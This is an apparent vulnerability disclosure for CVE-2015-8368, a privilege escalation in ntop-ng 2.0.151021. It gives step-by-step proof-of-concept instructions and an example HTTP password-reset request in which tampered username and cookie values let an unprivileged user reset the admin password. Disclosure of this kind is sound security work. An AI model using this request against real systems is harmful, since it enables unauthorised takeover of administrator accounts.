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ntop-ng 2.0.15102 Privilege Escalation

ntop-ng 2.0.15102 Privilege Escalation
Posted Dec 2, 2015
Authored by Dolev Farhi

ntop-ng versions 2.0.151021 and below suffer from a privilege escalation vulnerability.

tags | exploit
advisories | CVE-2015-8368
MD5 | ee222f7813252ab63492f3e131b29302

ntop-ng 2.0.15102 Privilege Escalation

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# Vulnerability title: ntop-ng <= 2.0.151021 - Privilege Escalation
# Author: Dolev Farhi
# Contact: dolev at flaresec.com
# Vulnerable version: 2.0.151021
# Fixed version: 2.2
# Link: ntop.org
# Date 27.11.2015
# CVE-2015-8368

# Product Details:
ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to virtually run on every Unix platform, MacOSX and on Windows as well.

# Vulnerability Details:
in the latest stable release of ntop-ng it is possible to escalate the privileges of a non-privileged user to the admin account by resetting the password, intercepting the request and replacing the HTTP parameters.

# Vulnerability Proof of concept
1. Login with an unprivileged account
2. Change the account password and intercept the request, modify the username= and Cookie user= and change to the admin account
Example:
GET /lua/admin/password_reset.lua?csrf=XXXXXXXXXXXXXXXXXX&username=admin&old_password=12345&new_password=123456&confirm_new_password=123456 HTTP/1.1
Cookie: user=admin; session=XXXXXXXXXXXXXXXXXXXXXXXXX
3. Login with the admin account and the password you defined in step #3.

Voila! you're an administrator.


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